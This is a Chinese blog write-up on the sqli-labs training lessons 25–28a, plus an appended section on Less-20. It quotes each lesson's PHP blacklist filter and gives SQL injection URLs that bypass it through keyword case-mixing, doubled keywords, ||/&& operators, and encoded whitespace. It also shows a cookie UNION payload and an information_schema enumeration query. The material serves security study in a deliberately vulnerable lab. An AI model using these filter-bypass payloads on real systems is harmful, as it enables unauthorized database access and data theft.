Sqli-labs Less25-28 绕过过滤函数对字符的过滤 - GET

本文详细介绍了一系列SQL注入挑战的解决方法,包括绕过多种过滤手段、使用特殊字符编码及构造复杂查询语句等技术要点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 25: GET - Error based - All your OR & AND belong to us - String Single Quote

  1. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)
    
            return $id;
    }
    
  2. 思路

    本关主要为 or and 过滤,如何绕过 or 和 and 过滤。

    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释 /*or*/
    4. 利用符号 and=&& or=||
  3. 报错注入 or 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+
    

  4. 基于报错的 and 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1&&1=1--+
    

Less - 25a: GET - Blind Based - ALL your OR & AND belong to us - Intiger based

  1. 源代码

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)
    
            return $id;
    }
    
  2. 思路

    不同于 25 关的是 sql 语句中对于 id,没有”的包含,同时没有输出错误项,报错注入不能用。
    其余基本上和 25 示例没有差别。此处采取两种方式:延时注入和联合注入。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-25a/?id=-1 UNION select 1,@@basedir,3#
    

    此处我们依旧用 || &&来代替 and,or。

Less - 26: GET - Error based - All your SPACES and COMMENTS belong to us

  1. 简介

    本关结合 25 关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于 and,or 的处理方法不再赘述,参考 25.

  2. 替换

    1. 对于注释和结尾字符的我们此处只能利用构造一个’ 来闭合后面到’
    2. 对于空格,有较多的方法:

      %09 TAB 键(水平)
      %0a 新建一行
      %0c 新的一页
      %0d return 功能
      %0b TAB 键(垂直)
      %a0 空格
      
  3. 测试

    URL 输入 ?id=1’%0b||’1

    http://10.10.10.137/sqli-labs/Less-26/?id=1'%0b||'1
    

    源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);             //strip out OR (non case sensitive)
            $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
            $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
            $id= preg_replace('/[--]/',"", $id);            //Strip out --
            $id= preg_replace('/[#]/',"", $id);             //Strip out #
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
            return $id;
    }
    

    构造后的语句

    $sql="SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1";
    

    第一个’ 首先闭合id=’$id’ 中的’,%a0 是空格的意思, 同时%0b 也是可以通过测试的,其他的经测试是不行的。||是或者的意思,’1 则是为了闭合后面的’ 。

    构造测试语句

    http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271
    

    也可以利用报错注入和延时注入等方式进行注入。

Less - 26a: GET - Blind Based - All your SPACES and COMMENTS belong to us - String - Single Quotes - Parenthesis

  1. 简介

    这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入。

  2. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
            $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
            $id= preg_replace('/[--]/',"", $id);            //Strip out --
            $id= preg_replace('/[#]/',"", $id);                     //Strip out #
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
            return $id;
    }
    
  3. 测试

    联合查询

    http://10.10.10.137/sqli-labs/Less-26a/?id=100') union%a0select%a01,2,3||('1
    

    explain:基础与 26 一致,我们直接用’) 闭合前面的,然后跟上自己构造的注入语句即可。最后利用(’1 进行闭合即可。

    http://10.10.10.137/sqli-labs/Less-26a/?id=100')union%a0select%a01,user(),('3
    

    可将user()更换为你想要的sql 语句。同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。

Less - 27: GET - Error Based- All your UNION & SELECT belong to us - String - Single Quote

  1. 思路

    本关主要考察将 union,select 和 26 关过滤掉的字符。此处我们依旧和 26 关的方式是一样的,只需要将 union 和 select 改为大小写混合就可以突破

  2. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
    $id= preg_replace('/[--]/',"", $id);            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);     //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);      //Strip out union
    $id= preg_replace('/select/s',"", $id);     //Strip out select
    $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);      //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out select
    return $id;
    }
    
  3. 测试

    http://10.10.10.137/sqli-labs/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1
    

    TIPS:uniunionon 也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

    http://10.10.10.137/sqli-labs/Less-27/?id=100%27ununionion%a0SelEcT%a01,database(),3||%271
    

Less - 27a: GET - Blind Based- All your UNION & SELECT belong to us - Double Quotes

  1. 思路

    本关与 27 关的区别在于对于 id 的处理,这里用的是” ,同时 mysql 的错误不会在前端页面显示。

  2. 源代码

    $id = '"' .$id. '"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
    $id= preg_replace('/[--]/',"", $id);            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);     //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);      //Strip out union
    $id= preg_replace('/select/s',"", $id);     //Strip out select
    $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);      //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out Select
    return $id;
    }
    
  3. 测试

    http://10.10.10.137/sqli-labs/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user(),"3
    

    TIPs:这里说下以上 payload 我们利用最后的3 前面的” 将后面的” 给闭合掉。或者亦可以利用以前的方法1,user(),3 || “1,同时本关可以用延时注入的方法进行注入。

Less - 28: GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);                          //strip out /*
    $id= preg_replace('/[--]/',"", $id);                            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
    return $id;
    }
    
  2. 测试

    http://10.10.10.137/sqli-labs/Less-28/?id=100')union%a0select(1),(user()),(3)||('1
    

Less - 28a: GET - Blind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
    //$id= preg_replace('/[\/\*]/',"", $id);                                //strip out /*
    //$id= preg_replace('/[--]/',"", $id);                          //Strip out --.
    //$id= preg_replace('/[#]/',"", $id);                                   //Strip out #.
    //$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
    //$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.
    return $id;
    }
    
  2. 思路

    本关与28 基本一致,只是过滤条件少了几个。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271
    

    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,user(),3||(%273
    

### sqli-labs less20 实验教程 #### 了解目标环境 sqli-labs 是一个用于学习实践 SQL 注入技术的平台。Less-20 关卡专注于通过 `Cookie` 进行 SQL 注入攻击[^3]。 #### 准备工作 确保已经安装并配置好 PHP MySQL 环境,并且成功部署了 sqli-labs 平台。访问 Less-20 页面,观察其 URL 结构以及如何处理请求参数。 #### 测试注入点 尝试修改浏览器发送给服务器的 HTTP 请求头中的 `Cookie` 字段来测试是否存在漏洞。具体来说,在原始 `Cookie` 值后面附加恶意负载以探测数据库结构或提取敏感数据。 例如,可以通过篡改 `uname` 的值来进行联合查询(UNION SELECT),从而获取当前使用的数据库名称: ```http GET /sqli/Less-20/ HTTP/1.1 Host: localhost ... Cookie: uname=admin' UNION ALL SELECT NULL,database(),NULL-- ``` 上述 Payload 利用了闭合单引号 `'` 来结束预期输入,并紧接着执行新的 SQL 片段;两个连续破折线 `--` 表示注释掉后续部分以防报错中断整个语句。 #### 提升技巧:绕过简单防护措施 当面对某些基本防御机制时——比如自动转义特殊字符函数如 mysql_real_escape_string() ,可以考虑采用宽字节编码等方式构造有效载荷实现突破[^2]。 对于本关而言,则是利用 Base64 编码后的字符串作为用户名传递给应用程序,以此规避潜在过滤规则的影响。实际操作过程中需注意调整编码方式匹配后台解析逻辑。 #### 获取更多细节信息 一旦确认存在可被利用之处后,便能进一步挖掘其他有用情报,像枚举出 users 表内的字段名列表那样: ```sql Cookie: uname=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 应替换为经过适当转换得到的结果,形似如下所示: ```plaintext admin') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'# ``` 这会返回 user 表中所有的列名作为一个单一字符串输出到页面上供分析人员查看。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值